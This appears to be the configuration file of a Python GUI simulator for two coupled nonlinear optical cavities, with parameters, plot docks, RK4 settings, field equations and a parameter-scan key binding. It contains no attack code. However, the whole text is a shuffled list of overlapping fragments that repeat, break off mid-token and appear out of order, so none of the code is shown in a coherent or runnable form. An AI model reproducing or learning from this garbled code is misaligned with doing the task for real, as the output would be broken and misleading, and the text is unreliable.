"scanning') for f in np.concatenate((np.arange(params['min_scan'],params['max_scan']+params['step_scan'],params['step_scan']),np.arange(params['max_scan'],params['min_scan']-params['step_scan'],-params['step_scan']))): f = round(f,2) ui.set_param('f',f) ui.run_simulator(params['nstep_scan'])", "square of A'}, 'mod_B' : {'type': np.float64, 'init_cond': 0., 'dock':['plot1','plot2','plot3']},", "window # 'record_every': number of time_steps one between two consecutive", "'A' : {'type': np.complex128, 'init_cond': 0., 'plot': False, 'dock':['plot1','plot2'], 'help':'field", "500., 'step': 0.01, 'help':'detuning parameter'} params['max_scan'] = {'init_cond': 10, 'min':", "on every plot), \"equation\" (callable, optional default is eq_{variable_name}), \"calculation_size\"", "plot), \"equation\" (callable, optional default is diff_eq_{variable_name}), \"help\" (str, to", "parameter'} return params # BEGIN Declaration of the equations. Automatically", "observables are added internally to the dictionnary of variables. Each", "np.real(variables['A']))) #def eq_ph_B(variables,params): #return [cm.phase(temp) for temp in variables['B']] def", "user defined keys of form key:callable. System reserved keys: [\"", "form key:callable. System reserved keys: [\" \", \"q\", \"h\", \"s\",", "} return docks def load_variables(): ''' Returns a dict of", "'dock':['plot1','plot2'], 'help':'field in the first cavity'}, 'B' : {'type': np.complex128,", "internally: \"value\", \"observable\" (False), \"lineedit\", \"checkbox\". ''' variables = {", "docks. Each plot has a dictionnary as \"value\" with keys:", ": {'type': np.float64, 'init_cond': 0., 'dock':['plot1','plot2','plot3']}, 'mod_A_2' : {'type': np.float64,", "should declare it in the variable/observable dictionnary with keyword \"equation\".", "for plots declaration. Here, we use pyqtgraph docks. Each plot", "parameter'} params['f'] = {'init_cond': 4.8, 'min': 0. , 'max': 20.,", "np.complex128, 'init_cond': 0.001, 'plot': False, 'equation': diff_eq_B} } return variables", "be used plotted in image'}, #'ph_A' : {'type': np.float64, 'init_cond':", "cavity'}, 'B' : {'type': np.complex128, 'init_cond': 0.001, 'plot': False, 'equation':", "params['nstep_scan'] = {'init_cond': 50, 'min': 0, 'max': 500, 'step': 1,", "0. , 'max': 10., 'step': 0.01} params['gamma'] = {'init_cond': 0.", "as {'key':value}. Returns a dict of the results with the", ", 'max': 10., 'step': 0.01} params['gamma'] = {'init_cond': 0. ,", "variables = { 'A' : {'type': np.complex128, 'init_cond': 0., 'plot':", "'min': -10., 'max': 10., 'step': 0.01, 'help':'detuning parameter'} params['f'] =", "False, 'dock':['plot1','plot2'], 'help':'field in the first cavity'}, 'B' : {'type':", "# Main parameters for window # 'record_every': number of time_steps", "'help':'detuning parameter'} return params # BEGIN Declaration of the equations.", "we use pyqtgraph docks. Each plot has a dictionnary as", "(type), \"plot\" (bool, optional default is True), \"dock\" (list of", "of the results with the same form. For now the", "params['delta'] = {'init_cond': -8., 'min': -10., 'max': 10., 'step': 0.01,", "params['tau'] = {'init_cond': 1. , 'min': 0. , 'max': 10.,", "fill the entire dock area and obey the limits of", "dictionnary of variables. Each observable is a dict with keys:", "round(f,2) ui.set_param('f',f) ui.run_simulator(params['nstep_scan']) print('end scanning') def kernel_my_own(variables,params): ''' Takes as", "if not provided, will be ploted on every plot), \"equation\"", "= { 'plot1' : {'type': 'plot1D' , 'position': 'left' ,", "between two consecutive record events window_params = {'kernel': 'RK4','nstep_update_plot': 100,", "(False), \"lineedit\", \"checkbox\". ''' variables = { 'A' : {'type':", "'max': 10., 'step': 0.01} params['npts_PS'] = {'init_cond': 1000 , 'min':", "+ abs(variables['A'])**2)*variables['A'] - variables['A'] + (1j*params['kappa'] + params['gamma'])*params['tau']*variables['B'] + params['f']", "is True), \"dock\" (list of key name(s) of docks [str]", "{'type': np.float64, 'init_cond': 0., 'dock':['plot3']} } return observables def load_params():", "be displayed in help message). Additionnal keys are added internally:", "name of another dock; position relative to another dock), size", "one. Alternatively, you may use custom equation names. You should", "= {'init_cond': 0. , 'min': -1. , 'max': 1., 'step':", "'custom_name' : {'type': 'image', 'position': 'above','relativeTo':'plot3', 'size': (300,300)}, } return", "True,'theme':'dark'} # Definition of the plot configuration def load_docks(): '''", "plot has a dictionnary as \"value\" with keys: \"type\" (accepted", "(bool, optional default is True), \"dock\" (list of key name(s)", "'image'), \"zoomOf\" (key name of another dock), \"position\" (accepted values:", "\"calculation_size\" (bool, whether you want according variable to be only", "with keyword \"equation\". def diff_eq_A(ui,variables, params): return 1j*(params['delta']*params['tau'] + abs(variables['A'])**2)*variables['A']", ": {'type': 'plot1D' , 'position': 'left' , 'size': (500,500), 'labels':{'bottom':'Time", ": {'type': 'plot2D', 'position': 'right', 'size': (300,300)}, 'plot2' : {'type':", "each parameter has a dictionnary as \"value\" with keys: \"init_cond\"", "#'ph_A' : {'type': np.float64, 'init_cond': 0., 'dock':['plot3']}, #'ph_B' : {'type':", "two consecutive record events window_params = {'kernel': 'RK4','nstep_update_plot': 100, 'step_size':", "(300,300)}, 'custom_name' : {'type': 'image', 'position': 'above','relativeTo':'plot3', 'size': (300,300)}, }", "won't be stored), \"help\" (str, to be displayed in help", "must match the variable/observable's one. Alternatively, you may use custom", "match the variable/observable's one. Alternatively, you may use custom equation", "the variable/observable's one. Alternatively, you may use custom equation names.", "= { 't': ramp_f, } return keys #return {} def", "'plot1D', 'position': 'top','relativeTo':'phase_space', 'size': (300,300)}, 'custom_name' : {'type': 'image', 'position':", "the size of what calculation returns; WARNING: those items won't", "{'kernel': 'RK4','nstep_update_plot': 100, 'step_size': 0.01, 'array_size': 10000, 'streaming': True, 'record_state':False,", "as defined in load_dock function; optional; if not provided, will", "a dictionnary of user defined keys of form key:callable. System", "''' observables = { 'mod_A' : {'type': np.float64, 'init_cond': 0.,", "of time_steps one between two consecutive record events window_params =", "a suggestion; docks will still have to fill the entire", "int(len(variables['mod_A'])/params['folding']) return np.reshape(variables['mod_A'][-(folding*nb_rt):],(nb_rt,folding)) #def eq_ph_A(variables,params): #return [cm.phase(temp) for temp in", "cmath as cm # Main parameters for window # 'record_every':", "optional default is True), \"dock\" (list of key name(s) of", "with keys: \"init_cond\" (float), \"min\" (float), \"max\" (float), step (float", "[cm.phase(temp) for temp in variables['B']] def keyboard_keys(): \"\"\" Returns a", "according variable to be only the size of what calculation", "1, 'help':'detuning parameter'} return params # BEGIN Declaration of the", "as arguments dicts of variables and params as {'key':value}. Returns", ", 'min': -1. , 'max': 1., 'step': 0.01} params['tau'] =", "will still have to fill the entire dock area and", "and params as {'key':value}. Returns a dict of the results", "dock area and obey the limits of their internal widgets],", "relative to another dock), size [(xlength,ylength); note that lengths arguments", "utf-8 -*- import numpy as np #import cmath as cm", "limits of their internal widgets], \"labels\" (dict of position:str), \"title\"", "to variables/observables, each parameter has a dictionnary as \"value\" with", "{'type': 'plot2D', 'position': 'right', 'size': (300,300)}, 'plot2' : {'type': 'plot1D'", "'init_cond': 0., 'dock':['plot3']} } return observables def load_params(): ''' Returns", "the same form. For now the function name must start", "and 'image'), \"zoomOf\" (key name of another dock), \"position\" (accepted", "return variables def load_observables(): ''' Returns a dict of the", "np.float64, np.complex128), \"init_cond\" (type), \"plot\" (bool, optional default is True),", "another dock), \"position\" (accepted values: 'bottom', 'top', 'left', 'right', 'above',", "'plot': True, 'dock':[{'phase_space':['mod_A_2','mod_B_2']}],'calculation_size':True, 'help':'abs(A)**2 shorter to be plotted in phase", "-*- coding: utf-8 -*- import numpy as np #import cmath", "are only a suggestion; docks will still have to fill", "{'init_cond': 0, 'min': 0., 'max': 500., 'step': 0.01, 'help':'detuning parameter'}", "use custom equation names. You should declare it in the", "the first cavity'}, 'B' : {'type': np.complex128, 'init_cond': 0.001, 'plot':", "observables def load_params(): ''' Returns a dict of the parameters.", "Declaration of the equations. Automatically recognized pattern are \"diff_eq_{variable}\" (variables)", "\"plot\" (bool, optional default is True), \"dock\" (list of key", "\"equation\" (callable, optional default is diff_eq_{variable_name}), \"help\" (str, to be", "{ 't': ramp_f, } return keys #return {} def ramp_f(ui,variables,params):", "np.float64, 'init_cond': 0., 'plot': True, 'dock':[{'phase_space':['mod_A_2','mod_B_2']}],'calculation_size':True, 'help':'abs(A)**2 shorter to be", "= { 'A' : {'type': np.complex128, 'init_cond': 0., 'plot': False,", "diff_eq_A(ui,variables, params): return 1j*(params['delta']*params['tau'] + abs(variables['A'])**2)*variables['A'] - variables['A'] + (1j*params['kappa']", "0, 'min': 0., 'max': 500., 'step': 0.01, 'help':'detuning parameter'} params['max_scan']", "returns; WARNING: those items won't be stored), \"help\" (str, to", "(float), \"max\" (float), step (float or int; WARNING if int", "items won't be stored), \"help\" (str, to be displayed in", "the pattern that must match the variable/observable's one. Alternatively, you", "'nstep_record':1, 'window_size':(1200,1000), 'invert_order_obs_var': True,'theme':'dark'} # Definition of the plot configuration", "{'init_cond': 1. , 'min': 0. , 'max': 10., 'step': 0.01}", "a dict of the parameters. Similarly to variables/observables, each parameter", "step (float or int; WARNING if int this parameter will", "eq_ph_A(variables,params): #return [cm.phase(temp) for temp in variables['A']] #np.array(np.arctan2(np.imag(variables['A']), np.real(variables['A']))) #def", "= {'init_cond': 10, 'min': 0., 'max': 500., 'step': 0.01, 'help':'detuning", "the dictionnary of variables. Each observable is a dict with", "keys: \"init_cond\" (float), \"min\" (float), \"max\" (float), step (float or", "ramp_f, } return keys #return {} def ramp_f(ui,variables,params): print('begin scanning')", "shorter to be plotted in phase space'}, 'mod_B_2' : {'type':", "WARNING if int this parameter will be an integer), \"help\"", "variables, observables are added internally to the dictionnary of variables.", "results with the same form. For now the function name", "np.float64, 'init_cond': 0. ,'dock':[{'phase_space':['mod_B_2','mod_A_2']}],'calculation_size':True}, 'mod_A_2D' : {'type': np.float64, 'init_cond': 0.", "'max': 10., 'step': 0.01, 'help':'detuning parameter'} params['f'] = {'init_cond': 4.8,", "(300,300)}, } return docks def load_variables(): ''' Returns a dict", "0.01, 'help':'detuning parameter'} params['f'] = {'init_cond': 4.8, 'min': 0. ,", "a dict of the results with the same form. For", "1j*(params['delta']*params['tau'] + abs(variables['A'])**2)*variables['A'] - variables['A'] + (1j*params['kappa'] + params['gamma'])*params['tau']*variables['B'] +", "+ params['gamma'])*params['tau']*variables['A'] + params['f'] def eq_mod_A(ui,variables,params): return abs(variables['A'])**2 def eq_mod_B(ui,variables,params):", "used for plots declaration. Here, we use pyqtgraph docks. Each", "phase space'}, 'mod_B_2' : {'type': np.float64, 'init_cond': 0. ,'dock':[{'phase_space':['mod_B_2','mod_A_2']}],'calculation_size':True}, 'mod_A_2D'", "ramp_f(ui,variables,params): print('begin scanning') for f in np.concatenate((np.arange(params['min_scan'],params['max_scan']+params['step_scan'],params['step_scan']),np.arange(params['max_scan'],params['min_scan']-params['step_scan'],-params['step_scan']))): f = round(f,2)", "of the plot configuration def load_docks(): ''' Returns a dict", "Returns a dictionnary of user defined keys of form key:callable.", "''' Returns a dict to be used for plots declaration.", "on every plot), \"equation\" (callable, optional default is diff_eq_{variable_name}), \"help\"", "are \"diff_eq_{variable}\" (variables) and \"eq_{observable}\" (observables); with a name after", "def eq_mod_B_2(ui,variables,params): return variables['mod_B'][-params['npts_PS']:] def eq_mod_A_2D(ui,variables,params): folding = params['folding'] nb_rt", "calculation returns; WARNING: those items won't be stored), \"help\" (str,", "of their internal widgets], \"labels\" (dict of position:str), \"title\" (str).", "parameters. Similarly to variables/observables, each parameter has a dictionnary as", "Each observable is a dict with keys: \"type\" (e.g. np.float64,", "-*- import numpy as np #import cmath as cm #", "''' Returns a dict of the parameters. Similarly to variables/observables,", "if int this parameter will be an integer), \"help\" (str,", "return 1j*(params['delta']*params['tau'] + abs(variables['B'])**2)*variables['B'] - variables['B'] + (1j*params['kappa'] + params['gamma'])*params['tau']*variables['A']", "'size': (300,300)}, } return docks def load_variables(): ''' Returns a", "abs(variables['B'])**2)*variables['B'] - variables['B'] + (1j*params['kappa'] + params['gamma'])*params['tau']*variables['A'] + params['f'] def", "= {'init_cond': 2.8, 'min': 0. , 'max': 10., 'step': 0.01}", "[\" \", \"q\", \"h\", \"s\", \"r\", \"i\", \"c\"]. This must", "docks will still have to fill the entire dock area", "for temp in variables['A']] #np.array(np.arctan2(np.imag(variables['A']), np.real(variables['A']))) #def eq_ph_B(variables,params): #return [cm.phase(temp)", "variables['A']] #np.array(np.arctan2(np.imag(variables['A']), np.real(variables['A']))) #def eq_ph_B(variables,params): #return [cm.phase(temp) for temp in", "'step': 0.01, 'help':'detuning parameter'} params['max_scan'] = {'init_cond': 10, 'min': 0.,", "have to fill the entire dock area and obey the", "{'init_cond': 100 , 'min': 1 , 'max': 1000, 'step': 1}", "an integer), \"help\" (str, to be displayed in help message).", "0., 'dock':['plot1','plot2','plot3']}, 'mod_A_2' : {'type': np.float64, 'init_cond': 0., 'plot': True,", "(e.g. np.float64, np.complex128), \"init_cond\" (type), \"plot\" (bool, optional default is", "(observables); with a name after the pattern that must match", "params['gamma'])*params['tau']*variables['B'] + params['f'] def diff_eq_B(ui,variables, params): return 1j*(params['delta']*params['tau'] + abs(variables['B'])**2)*variables['B']", "what calculation returns; WARNING: those items won't be stored), \"help\"", "= params['folding'] nb_rt = int(len(variables['mod_A'])/params['folding']) return np.reshape(variables['mod_A'][-(folding*nb_rt):],(nb_rt,folding)) #def eq_ph_A(variables,params): #return", "#np.array(np.arctan2(np.imag(variables['A']), np.real(variables['A']))) #def eq_ph_B(variables,params): #return [cm.phase(temp) for temp in variables['B']]", "def load_docks(): ''' Returns a dict to be used for", "'min': 0., 'max': 500., 'step': 0.01, 'help':'detuning parameter'} params['step_scan'] =", "0.01, 'help':'detuning parameter'} params['step_scan'] = {'init_cond': 0.05, 'min': 0.001, 'max':", "'left' , 'size': (500,500), 'labels':{'bottom':'Time (arb. units)','left':'Intensity (arb. units)'}}, 'phase_space'", "optional default is eq_{variable_name}), \"calculation_size\" (bool, whether you want according", "0. ,'dock':['custom_name'],'calculation_size':True,'help':'variable to be used plotted in image'}, #'ph_A' :", "'min': 1 , 'max': 1000, 'step': 1} params['min_scan'] = {'init_cond':", ", 'max': 1000, 'step': 1} params['min_scan'] = {'init_cond': 0, 'min':", "[cm.phase(temp) for temp in variables['A']] #np.array(np.arctan2(np.imag(variables['A']), np.real(variables['A']))) #def eq_ph_B(variables,params): #return", "'phase_space', 'size': (300,100)}, 'plot3' : {'type': 'plot1D', 'position': 'top','relativeTo':'phase_space', 'size':", "keys are added internally: \"value\", \"spinbox\", \"slider\", \"slider_conversion_factor\". ''' params", "the observables. Similar to variables, observables are added internally to", "\"diff_eq_{variable}\" (variables) and \"eq_{observable}\" (observables); with a name after the", "'below'), \"relativeTo\" (optional, key name of another dock; position relative", "every plot), \"equation\" (callable, optional default is eq_{variable_name}), \"calculation_size\" (bool,", "nb_rt = int(len(variables['mod_A'])/params['folding']) return np.reshape(variables['mod_A'][-(folding*nb_rt):],(nb_rt,folding)) #def eq_ph_A(variables,params): #return [cm.phase(temp) for", "+ (1j*params['kappa'] + params['gamma'])*params['tau']*variables['A'] + params['f'] def eq_mod_A(ui,variables,params): return abs(variables['A'])**2", "'zoomOf': 'plot1' , 'position': 'bottom', 'relativeTo': 'phase_space', 'size': (300,100)}, 'plot3'", "this parameter will be an integer), \"help\" (str, to be", "'min': 1 , 'max': 2000, 'step': 1} params['folding'] = {'init_cond':", "'help':'abs(A)**2 shorter to be plotted in phase space'}, 'mod_B_2' :", "'step': 0.01} params['gamma'] = {'init_cond': 0. , 'min': -1. ,", "= { 'mod_A' : {'type': np.float64, 'init_cond': 0., 'plot': True,", "the variables. Each variable is a dict with keys: \"type\"", "params['min_scan'] = {'init_cond': 0, 'min': 0., 'max': 500., 'step': 0.01,", "'init_cond': 0., 'plot': False, 'dock':['plot1','plot2'], 'help':'field in the first cavity'},", "0., 'max': 500., 'step': 0.01, 'help':'detuning parameter'} params['step_scan'] = {'init_cond':", "declare it in the variable/observable dictionnary with keyword \"equation\". def", "0., 'dock':['plot3']} } return observables def load_params(): ''' Returns a", "only a suggestion; docks will still have to fill the", "time_steps one between two consecutive record events window_params = {'kernel':", "\"lineedit\", \"checkbox\". ''' observables = { 'mod_A' : {'type': np.float64,", "0.01, 'array_size': 10000, 'streaming': True, 'record_state':False, 'nstep_record':1, 'window_size':(1200,1000), 'invert_order_obs_var': True,'theme':'dark'}", "True, 'dock':[{'phase_space':['mod_A_2','mod_B_2']}],'calculation_size':True, 'help':'abs(A)**2 shorter to be plotted in phase space'},", "and \"eq_{observable}\" (observables); with a name after the pattern that", "\"s\", \"r\", \"i\", \"c\"]. This must return an empty dict", "'help':'detuning parameter'} params['max_scan'] = {'init_cond': 10, 'min': 0., 'max': 500.,", "in help message). Additionnal keys are added internally: \"value\", \"spinbox\",", "for f in np.concatenate((np.arange(params['min_scan'],params['max_scan']+params['step_scan'],params['step_scan']),np.arange(params['max_scan'],params['min_scan']-params['step_scan'],-params['step_scan']))): f = round(f,2) ui.set_param('f',f) ui.run_simulator(params['nstep_scan']) print('end", "stored), \"help\" (str, to be displayed in help message). Additionnal", "+ abs(variables['B'])**2)*variables['B'] - variables['B'] + (1j*params['kappa'] + params['gamma'])*params['tau']*variables['A'] + params['f']", "pattern are \"diff_eq_{variable}\" (variables) and \"eq_{observable}\" (observables); with a name", "'top', 'left', 'right', 'above', or 'below'), \"relativeTo\" (optional, key name", "key name of another dock; position relative to another dock),", "\"equation\" (callable, optional default is eq_{variable_name}), \"calculation_size\" (bool, whether you", "kernel_my_own(variables,params): ''' Takes as arguments dicts of variables and params", "a name after the pattern that must match the variable/observable's", "(callable, optional default is diff_eq_{variable_name}), \"help\" (str, to be displayed", "same form. For now the function name must start with", "no extra keys. \"\"\" keys = { 't': ramp_f, }", "'init_cond': 0. ,'dock':[{'phase_space':['mod_B_2','mod_A_2']}],'calculation_size':True}, 'mod_A_2D' : {'type': np.float64, 'init_cond': 0. ,'dock':['custom_name'],'calculation_size':True,'help':'variable", "0.001, 'max': 10., 'step': 0.001, 'help':'detuning parameter'} params['nstep_scan'] = {'init_cond':", "the results with the same form. For now the function", "2000, 'step': 1} params['folding'] = {'init_cond': 100 , 'min': 1", "keys are added internally: \"value\", \"observable\" (False), \"lineedit\", \"checkbox\". '''", "keys #return {} def ramp_f(ui,variables,params): print('begin scanning') for f in", "load_docks(): ''' Returns a dict to be used for plots", "= {'init_cond': 50, 'min': 0, 'max': 500, 'step': 1, 'help':'detuning", "abs(variables['A'])**2 def eq_mod_B(ui,variables,params): return abs(variables['B'])**2 def eq_mod_A_2(ui,variables,params): return variables['mod_A'][-params['npts_PS']:] def", "'position': 'above','relativeTo':'plot3', 'size': (300,300)}, } return docks def load_variables(): '''", "True), \"dock\" (list of key name(s) of docks [str] as", "extra keys. \"\"\" keys = { 't': ramp_f, } return", "500, 'step': 1, 'help':'detuning parameter'} return params # BEGIN Declaration", "default is diff_eq_{variable_name}), \"help\" (str, to be displayed in help", "of what calculation returns; WARNING: those items won't be stored),", "\"i\", \"c\"]. This must return an empty dict if no", "'image', 'position': 'above','relativeTo':'plot3', 'size': (300,300)}, } return docks def load_variables():", "Returns a dict to be used for plots declaration. Here,", "size of what calculation returns; WARNING: those items won't be", "dict of the parameters. Similarly to variables/observables, each parameter has", "'max': 500., 'step': 0.01, 'help':'detuning parameter'} params['step_scan'] = {'init_cond': 0.05,", "= {} params['delta'] = {'init_cond': -8., 'min': -10., 'max': 10.,", "'plot1D' , 'position': 'left' , 'size': (500,500), 'labels':{'bottom':'Time (arb. units)','left':'Intensity", "A'}, 'mod_B' : {'type': np.float64, 'init_cond': 0., 'dock':['plot1','plot2','plot3']}, 'mod_A_2' :", "\"zoomOf\" (key name of another dock), \"position\" (accepted values: 'bottom',", "{'init_cond': 1000 , 'min': 1 , 'max': 2000, 'step': 1}", "as \"value\" with keys: \"init_cond\" (float), \"min\" (float), \"max\" (float),", "not provided, will be ploted on every plot), \"equation\" (callable,", "to be only the size of what calculation returns; WARNING:", "np.float64, 'init_cond': 0., 'dock':['plot1','plot2','plot3']}, 'mod_A_2' : {'type': np.float64, 'init_cond': 0.,", "has a dictionnary as \"value\" with keys: \"init_cond\" (float), \"min\"", ": {'type': np.float64, 'init_cond': 0. ,'dock':['custom_name'],'calculation_size':True,'help':'variable to be used plotted", "it in the variable/observable dictionnary with keyword \"equation\". def diff_eq_A(ui,variables,", "} return observables def load_params(): ''' Returns a dict of", "in help message). Additionnal keys are added internally: \"value\", \"observable\"", "-1. , 'max': 1., 'step': 0.01} params['tau'] = {'init_cond': 1.", "'t': ramp_f, } return keys #return {} def ramp_f(ui,variables,params): print('begin", "4.8, 'min': 0. , 'max': 20., 'step': 0.01} params['kappa'] =", ": {'type': np.float64, 'init_cond': 0. ,'dock':[{'phase_space':['mod_B_2','mod_A_2']}],'calculation_size':True}, 'mod_A_2D' : {'type': np.float64,", "''' docks = { 'plot1' : {'type': 'plot1D' , 'position':", "'plot1' : {'type': 'plot1D' , 'position': 'left' , 'size': (500,500),", "variables['mod_A'][-params['npts_PS']:] def eq_mod_B_2(ui,variables,params): return variables['mod_B'][-params['npts_PS']:] def eq_mod_A_2D(ui,variables,params): folding = params['folding']", "0., 'dock':['plot3']}, #'ph_B' : {'type': np.float64, 'init_cond': 0., 'dock':['plot3']} }", "'mod_A_2D' : {'type': np.float64, 'init_cond': 0. ,'dock':['custom_name'],'calculation_size':True,'help':'variable to be used", "variables['B'] + (1j*params['kappa'] + params['gamma'])*params['tau']*variables['A'] + params['f'] def eq_mod_A(ui,variables,params): return", "abs(variables['B'])**2 def eq_mod_A_2(ui,variables,params): return variables['mod_A'][-params['npts_PS']:] def eq_mod_B_2(ui,variables,params): return variables['mod_B'][-params['npts_PS']:] def", "form. For now the function name must start with \"kernel_\"", "(key name of another dock), \"position\" (accepted values: 'bottom', 'top',", "'min': 0. , 'max': 20., 'step': 0.01} params['kappa'] = {'init_cond':", "name of another dock), \"position\" (accepted values: 'bottom', 'top', 'left',", "eq_mod_A(ui,variables,params): return abs(variables['A'])**2 def eq_mod_B(ui,variables,params): return abs(variables['B'])**2 def eq_mod_A_2(ui,variables,params): return", "'invert_order_obs_var': True,'theme':'dark'} # Definition of the plot configuration def load_docks():", "'step': 0.01, 'help':'detuning parameter'} params['f'] = {'init_cond': 4.8, 'min': 0.", "window_params = {'kernel': 'RK4','nstep_update_plot': 100, 'step_size': 0.01, 'array_size': 10000, 'streaming':", "'equation': diff_eq_B} } return variables def load_observables(): ''' Returns a", "{'type': np.float64, 'init_cond': 0., 'plot': True, 'dock':['plot1','plot2'], 'help':'modulus square of", "'max': 10., 'step': 0.01} params['gamma'] = {'init_cond': 0. , 'min':", "\"checkbox\". ''' observables = { 'mod_A' : {'type': np.float64, 'init_cond':", "0.01, 'help':'detuning parameter'} params['max_scan'] = {'init_cond': 10, 'min': 0., 'max':", "0.01} params['npts_PS'] = {'init_cond': 1000 , 'min': 1 , 'max':", "\"q\", \"h\", \"s\", \"r\", \"i\", \"c\"]. This must return an", "np.float64, 'init_cond': 0., 'dock':['plot3']} } return observables def load_params(): '''", "0., 'max': 500., 'step': 0.01, 'help':'detuning parameter'} params['max_scan'] = {'init_cond':", "internal widgets], \"labels\" (dict of position:str), \"title\" (str). ''' docks", "\"observable\" (False), \"lineedit\", \"checkbox\". ''' variables = { 'A' :", "(True), \"lineedit\", \"checkbox\". ''' observables = { 'mod_A' : {'type':", "dict to be used for plots declaration. Here, we use", "'size': (500,500), 'labels':{'bottom':'Time (arb. units)','left':'Intensity (arb. units)'}}, 'phase_space' : {'type':", "will be an integer), \"help\" (str, to be displayed in", "(variables) and \"eq_{observable}\" (observables); with a name after the pattern", "np.float64, 'init_cond': 0., 'plot': True, 'dock':['plot1','plot2'], 'help':'modulus square of A'},", "parameters for window # 'record_every': number of time_steps one between", "'step': 0.01} params['kappa'] = {'init_cond': 2.8, 'min': 0. , 'max':", "#'ph_B' : {'type': np.float64, 'init_cond': 0., 'dock':['plot3']} } return observables", "has a dictionnary as \"value\" with keys: \"type\" (accepted values:", "of the equations. Automatically recognized pattern are \"diff_eq_{variable}\" (variables) and", "that must match the variable/observable's one. Alternatively, you may use", "position:str), \"title\" (str). ''' docks = { 'plot1' : {'type':", "names. You should declare it in the variable/observable dictionnary with", "the entire dock area and obey the limits of their", "params['f'] = {'init_cond': 4.8, 'min': 0. , 'max': 20., 'step':", "{'init_cond': 0. , 'min': -1. , 'max': 1., 'step': 0.01}", "configuration def load_docks(): ''' Returns a dict to be used", "0.01} params['tau'] = {'init_cond': 1. , 'min': 0. , 'max':", "the plot configuration def load_docks(): ''' Returns a dict to", "dict if no extra keys. \"\"\" keys = { 't':", "now the function name must start with \"kernel_\" ''' pass", "return docks def load_variables(): ''' Returns a dict of the", "\"min\" (float), \"max\" (float), step (float or int; WARNING if", "observables. Similar to variables, observables are added internally to the", "0.001, 'plot': False, 'equation': diff_eq_B} } return variables def load_observables():", "(1j*params['kappa'] + params['gamma'])*params['tau']*variables['B'] + params['f'] def diff_eq_B(ui,variables, params): return 1j*(params['delta']*params['tau']", "for window # 'record_every': number of time_steps one between two", "'position': 'bottom', 'relativeTo': 'phase_space', 'size': (300,100)}, 'plot3' : {'type': 'plot1D',", "a dict to be used for plots declaration. Here, we", "of another dock; position relative to another dock), size [(xlength,ylength);", ", 'max': 10., 'step': 0.01} params['npts_PS'] = {'init_cond': 1000 ,", "'size': (300,300)}, 'plot2' : {'type': 'plot1D' , 'zoomOf': 'plot1' ,", "{'type': np.float64, 'init_cond': 0. ,'dock':[{'phase_space':['mod_B_2','mod_A_2']}],'calculation_size':True}, 'mod_A_2D' : {'type': np.float64, 'init_cond':", "parameter has a dictionnary as \"value\" with keys: \"init_cond\" (float),", "ploted on every plot), \"equation\" (callable, optional default is diff_eq_{variable_name}),", "{'type': np.float64, 'init_cond': 0., 'dock':['plot3']}, #'ph_B' : {'type': np.float64, 'init_cond':", "temp in variables['A']] #np.array(np.arctan2(np.imag(variables['A']), np.real(variables['A']))) #def eq_ph_B(variables,params): #return [cm.phase(temp) for", "Takes as arguments dicts of variables and params as {'key':value}.", "observables = { 'mod_A' : {'type': np.float64, 'init_cond': 0., 'plot':", "2.8, 'min': 0. , 'max': 10., 'step': 0.01} params['gamma'] =", "\"max\" (float), step (float or int; WARNING if int this", "= {'init_cond': 1000 , 'min': 1 , 'max': 2000, 'step':", "keys = { 't': ramp_f, } return keys #return {}", "'init_cond': 0., 'dock':['plot3']}, #'ph_B' : {'type': np.float64, 'init_cond': 0., 'dock':['plot3']}", "params['folding'] = {'init_cond': 100 , 'min': 1 , 'max': 1000,", "parameter'} params['max_scan'] = {'init_cond': 10, 'min': 0., 'max': 500., 'step':", "\"init_cond\" (float), \"min\" (float), \"max\" (float), step (float or int;", "key name(s) of docks [str] as defined in load_dock function;", "\"value\" with keys: \"type\" (accepted values: 'plot' and 'image'), \"zoomOf\"", "obey the limits of their internal widgets], \"labels\" (dict of", ": {'type': np.float64, 'init_cond': 0., 'plot': True, 'dock':[{'phase_space':['mod_A_2','mod_B_2']}],'calculation_size':True, 'help':'abs(A)**2 shorter", "is diff_eq_{variable_name}), \"help\" (str, to be displayed in help message).", "plotted in phase space'}, 'mod_B_2' : {'type': np.float64, 'init_cond': 0.", "def keyboard_keys(): \"\"\" Returns a dictionnary of user defined keys", "of variables and params as {'key':value}. Returns a dict of", "another dock; position relative to another dock), size [(xlength,ylength); note", "'init_cond': 0., 'dock':['plot1','plot2','plot3']}, 'mod_A_2' : {'type': np.float64, 'init_cond': 0., 'plot':", "def eq_mod_A(ui,variables,params): return abs(variables['A'])**2 def eq_mod_B(ui,variables,params): return abs(variables['B'])**2 def eq_mod_A_2(ui,variables,params):", ": {'type': np.float64, 'init_cond': 0., 'dock':['plot3']}, #'ph_B' : {'type': np.float64,", "optional default is diff_eq_{variable_name}), \"help\" (str, to be displayed in", "#return {} def ramp_f(ui,variables,params): print('begin scanning') for f in np.concatenate((np.arange(params['min_scan'],params['max_scan']+params['step_scan'],params['step_scan']),np.arange(params['max_scan'],params['min_scan']-params['step_scan'],-params['step_scan']))):", "internally: \"value\", \"observable\" (True), \"lineedit\", \"checkbox\". ''' observables = {", "help message). Additionnal keys are added internally: \"value\", \"spinbox\", \"slider\",", "\"value\", \"observable\" (False), \"lineedit\", \"checkbox\". ''' variables = { 'A'", ", 'zoomOf': 'plot1' , 'position': 'bottom', 'relativeTo': 'phase_space', 'size': (300,100)},", "defined in load_dock function; optional; if not provided, will be", "params # BEGIN Declaration of the equations. Automatically recognized pattern", "np.concatenate((np.arange(params['min_scan'],params['max_scan']+params['step_scan'],params['step_scan']),np.arange(params['max_scan'],params['min_scan']-params['step_scan'],-params['step_scan']))): f = round(f,2) ui.set_param('f',f) ui.run_simulator(params['nstep_scan']) print('end scanning') def kernel_my_own(variables,params):", "= int(len(variables['mod_A'])/params['folding']) return np.reshape(variables['mod_A'][-(folding*nb_rt):],(nb_rt,folding)) #def eq_ph_A(variables,params): #return [cm.phase(temp) for temp", "name(s) of docks [str] as defined in load_dock function; optional;", "keys. \"\"\" keys = { 't': ramp_f, } return keys", "def eq_mod_A_2D(ui,variables,params): folding = params['folding'] nb_rt = int(len(variables['mod_A'])/params['folding']) return np.reshape(variables['mod_A'][-(folding*nb_rt):],(nb_rt,folding))", "dict of the results with the same form. For now", "(accepted values: 'plot' and 'image'), \"zoomOf\" (key name of another", "''' variables = { 'A' : {'type': np.complex128, 'init_cond': 0.,", "0., 'plot': True, 'dock':[{'phase_space':['mod_A_2','mod_B_2']}],'calculation_size':True, 'help':'abs(A)**2 shorter to be plotted in", "def load_variables(): ''' Returns a dict of the variables. Each", "# Definition of the plot configuration def load_docks(): ''' Returns", "another dock), size [(xlength,ylength); note that lengths arguments are only", "load_params(): ''' Returns a dict of the parameters. Similarly to", "'help':'detuning parameter'} params['nstep_scan'] = {'init_cond': 50, 'min': 0, 